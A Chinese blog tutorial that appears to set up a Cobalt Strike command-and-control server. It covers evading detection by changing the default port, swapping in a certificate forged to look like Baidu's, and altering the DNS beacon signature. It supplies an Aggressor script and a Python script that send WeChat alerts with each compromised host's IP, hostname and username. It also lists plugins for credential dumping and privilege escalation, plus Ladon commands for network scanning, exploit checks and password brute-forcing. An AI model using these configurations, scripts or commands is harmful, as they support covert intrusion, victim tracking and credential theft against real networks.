环境准备
VPS
CentOS 8
CobaltStrike4.0
ServerChan SCKEY
配置 VPS
使用dnf安装常用软件
1 dnf install vim net-tools wget –y
修改主机名
1 2 3 echo 'Catherine' >/etc/hostnamehostname `cat /etc/hostname` bash
DNF/YUM源配置文件替换为阿里源
1 2 3 4 5 6 7 8 9 curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repo yum -y install wget cat /etc/yum.repos.d/CentOS-Base.repo yum makecache yum -y update dnf -y update
DNF是Linux上的下一代包管理工具,它替换的对象是YUM 参考链接:https://blog.csdn.net/dengshulei/article/details/103704285
安装 Java环境 安装 jdk1.8
1 yum install java-1.8.0-openjdk* -y
卸载
1 2 3 4 5 6 rpm -qa |grep java rpm -qa |grep jdk rpm -qa |grep gcj rpm -qa | grep java | xargs rpm -e --nodeps
查看 Java 版本
1 2 3 4 [root@Catherine ~] openjdk version "1.8.0_272" OpenJDK Runtime Environment (build 1.8.0_272-b10) OpenJDK 64-Bit Server VM (build 25.272-b10, mixed mode)
配置CobaltStrike Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。由于使用的cobalt strike版本是4.0,所以要求使用 Oracle Java 1.8,JDK 11。
启动服务端 CobaltStrike 进入到CS目录下,把 teamserver 赋予最高权限:
1 sudo chmod 777 teamserver
执行teamserver并设置ip、密码:
1 2 3 4 [root@Catherine CS4.0] [*] Will use existing X509 certificate and keystore (for SSL) [+] Team server is up on 50050 [*] SHA256 hash of SSL cert is: *****...
连接成功:
端口特征 进入 cobaltstrike 的目录,执行nano teamserver,找到 server_port(默认是 50050)
1 2 # start the team server. java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50022 -Djavax.net.ssl.keyStore=./c$
证书特征 Keystore 是 java 的密钥库,用来进行通信加密,如数字签名。keystore 就是用来保存密钥对的公钥和私钥。 Keystore 可理解为一个数据库,可以存放很多个组数据。
每组数据主要包含以下两种数据:
密钥实体 —- 密钥(secret key)又或者私钥和配对公钥(采用非对称加密)
可信任的证书实体 —- 只包含共钥
查看CobaltStrike的默认store文件
1 keytool -list -v -keystore cobaltstrike.store
密码是123456
直接访问CobaltStrike服务器的端口,也可以看到证书信息:
1 curl https://192.168.106.5:50050 -v -k
修改服务端证书CobaltStrike.store 1 keytool -keystore cobaltstrike.store -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias google.com -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)"
keytool 用法
-alias 指定别名
-storepass pass 和 -keypass pass 指定密钥
-keyalg 指定算法
-dname 指定所有者信息
先删除 CobaltStrike 自带的 cobaltstrike.store,然后使用以下命令生成一个新的 cobaltstrike.store 即可
1 2 3 4 keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu -dname "CN=baidu.com, OU=service operation department, O=Beijing Baidu Netcom Science Technology Co.\, Ltd, L=beijing, S=beijing, C=CN" Warning: The JKS keystore uses a proprietary format. It is recommended to migrate to PKCS12 which is an industry standard format using "keytool -importkeystore -srckeystore ./cobaltstrike.store -destkeystore ./cobaltstrike.store -deststoretype pkcs12" .
ctrl + x 退出时根据提示保存
详见: CobaltStrike流量规避
修改Cobalt Strike dns_idle 0.0.0.0是Cobalt Strike DNS Beacon特征可设置Malleable C2进行修改 输入set dns_idle “8.8.8.8”
设置后台挂载 CobaltStrike 每次断开ssh时,cs服务端的teamserver命令就会结束,因此需要一个挂载到后台运行的进程工具
首先安装screen: apt-get install screen
然后直接键入screen,回车进入一个新的窗口
再运行启动 teamserver 命令
按组合键Ctrl+a+d关闭窗口并后台执行,可以看到进程在后台运行,断开SSH连接也不受影响
查询进程:
1 2 3 4 5 6 [root@Catherine CS4.0] [root@Catherine CS4.0] PID TTY TIME CMD 811265 pts/6 00:00:00 teamserver 811268 pts/6 00:00:03 java 812100 pts/5 00:00:00 ps
专属管家 ServerChan
Server酱是什么「Server酱」,英文名「ServerChan」,是一款「程序员」和「服务器」之间的通信软件。说人话?就是从服务器推报警和日志到手机的工具。
开通并使用上它,只需要一分钟:登入:用GitHub账号登入网站,就能获得一个SCKEY(在「发送消息」页面)绑定:点击「微信推送」,扫码关注同时即可完成绑定发消息:往 http://sc.ftqq.com/SCKEY.send 发GET请求,就可以在微信里收到消息啦
Cna脚本 命名为 Cs_ServerChan.cna
1 2 3 4 5 6 7 8 9 10 on beacon_initial { println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1 ,"pid" )); local ('$internalIP $computerName $userName' ); $internalIP = replace(beacon_info($1 ,"internal" )," " ,"_" ); $computerName = replace(beacon_info($1 ,"computer" )," " ,"_" ); $userName = replace(beacon_info($1 ,"user" )," " ,"_" ); $cmd = 'python3 /root/Tools/CS4.0/ServerChan/ServerChan.py' . " --computernam " . $computerName . " --internalip " . $internalIP . " --username " . $userName ; println("Sending server: " . $cmd ); exec ($cmd ); }
Python 脚本 命名为 ServerChan.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import argparseimport requestsimport randomimport stringser_key = 'SCU117922***************************' parser = argparse.ArgumentParser(description='Beacon Info' ) parser.add_argument('--computername' ) parser.add_argument('--internalip' ) parser.add_argument('--username' ) args = parser.parse_args() computername = args.computername internalip = args.internalip username = args.username ran_str = '' .join(random.sample(string.ascii_letters + string.digits, 8 )) title = "Catherine 上线提醒" content = """ **您有新主机上线啦 !** **IP: {}** **主机名: {}** **用户名: {}** **Token: {}** **请注意查收哦 ~** """ .format(internalip, computername, username, ran_str)resp = requests.post("https://sc.ftqq.com/{}.send" .format(ser_key), data={"text" : title, "desp" : content})
这里加 Token随机数的原因是Server 酱一分钟内无法发送重复信息
后台挂载脚本 把cna脚本添加到本地客户端后,如果beacon上线了,这个提醒的请求是从客户端发出的。可是如果网络有波动,断开了到teamserver的连接,就收不到通知了。
解决方法是使用 agscript 在服务器端运行cna文件,和挂载 CobaltStrike 一样,把 cna 脚本也挂载到后台:
1 2 3 4 [root@Catherine CS4.0] [root@Catherine CS4.0] Initial Beacon Checkin: 2122252342 PID: 3488 Sending server: python3 /root/Tools/CS4.0/SeverChan/ServerChan.py --computernam LINTSTAR82CF --internalip 10.211.55.5 --username lintstar
挂载后查看进程:
1 2 3 4 5 6 7 [root@Catherine ~] PID TTY TIME CMD 1045504 pts/0 00:00:00 teamserver 1045507 pts/0 00:00:12 java 1049085 pts/4 00:00:00 bash 1049086 pts/4 00:00:08 java 1055932 pts/7 00:00:00 ps
这里 agscript 的用法为:
1 ./agscript [host] [port] [user] [pass] </path/to/file.cna>
[host] # 服务器的 ip 地址。
[port] # cs 的端口号,启动 cs 时有显示。
[user] # 后台挂载脚本时连接到 teamserver 的用户名。
[pass] # 启动服务端 cs 时设置的密码。
[path] # cna 文件的路径。
效果 手机微信通知效果:
查看详情:
Mac 端微信通知详情:
CobaltStrike 插件 它们是几个.cna后缀脚本 :
在脚本管理器中添加即可
AV_Query 查杀毒软件
credpocalypse.cna 定时自动logonpasswords抓凭据
logvis.cna 记录命令操作日志
ElevateKit Github 地址:https://github.com/rsmudge/ElevateKit
增加 CS 自带提权模块:
梼杌 基于cobalt strike平台的红队自动化框架
项目地址:https://github.com/pandasec888/taowu-cobalt-strike
功能不必多说 大保健级别
Ladon - 召唤神龙强化Cobalt Strike Ladon wiki:https://k8gege.org/Ladon/
Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描。
Ladon for Cobalt Strike:https://github.com/k8gege/Aggressor
右键扩展
Beacon 执行命令
扫描存活主机 - Ladon 10.211.55.5/24 OnlineIP
多协议识别操作系统 - Ladon 10.211.55.5/24 OsScan
获取本机内网IP与外网IP - Ladon GetIP
其他神通 资产扫描、指纹识别、服务识别、存活主机、端口扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 - Ladon 192.168.1.8/24 OnlinePC - Ladon 192.168.1.8/24 OsScan - Ladon 192.168.1.8/24 OnlineIP - Ladon 192.168.1.8/24 Ping - Ladon 192.168.1.8/24 MS17010 - Ladon 192.168.1.8/24 SMBGhost - Ladon 192.168.1.8/24 WebScan - Ladon 192.168.1.8/24 UrlScan - Ladon 192.168.1.8/24 SameWeb - Ladon baidu.com SubDomain - Ladon baidu.com DomainIP - Ladon baidu.com HostIP - Ladon AdiDnsDump 192.168.1.8 (Domain IP) - Ladon 192.168.1.8/24 PortScan - Ladon 192.168.1.8 PortScan 80,445,3389 - Ladon 192.168.1.8/24 WhatCMS - Ladon 192.168.1.8/24 CiscoScan - Ladon http://192.168.1.8 CiscoScan - Ladon EnumMssql - Ladon EnumShare - Ladon 192.168.1.8/24 LdapScan - Ladon 192.168.1.8/24 FtpScan
暴力破解/网络认证/弱口令/密码爆破/数据库/网站后台/登陆口/系统登陆 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 - Ladon 192.168.1.8/24 SmbScan - Ladon 192.168.1.8/24 WmiScan - Ladon 192.168.1.8/24 LdapScan - Ladon 192.168.1.8/24 WinrmScan.ini - Ladon 192.168.1.8/24 SmbHashScan - Ladon 192.168.1.8/24 WmiHashScan - Ladon 192.168.1.8/24 SshScan - Ladon 192.168.1.8:22 SshScan - Ladon 192.168.1.8/24 MssqlScan - Ladon 192.168.1.8/24 OracleScan - Ladon 192.168.1.8/24 MysqlScan - Ladon http://192.168.1.8:7001/console WeblogicScan - Ladon 192.168.1.8/24 WeblogicScan - Ladon 192.168.1.8/24 VncScan - Ladon 192.168.1.8/24 FtpScan - Ladon 192.168.1.8/24 TomcatScan - Ladon http://192.168.1.8:8080/manage TomcatScan - Ladon http://192.168.1.8/login HttpBasicScan - Ladon 192.168.1.8/24 SmbScan.ini - Ladon 192.168.1.8/24 IpcScan.ini
更多神通详见:https://github.com/k8gege/Aggressor/blob/master/README.md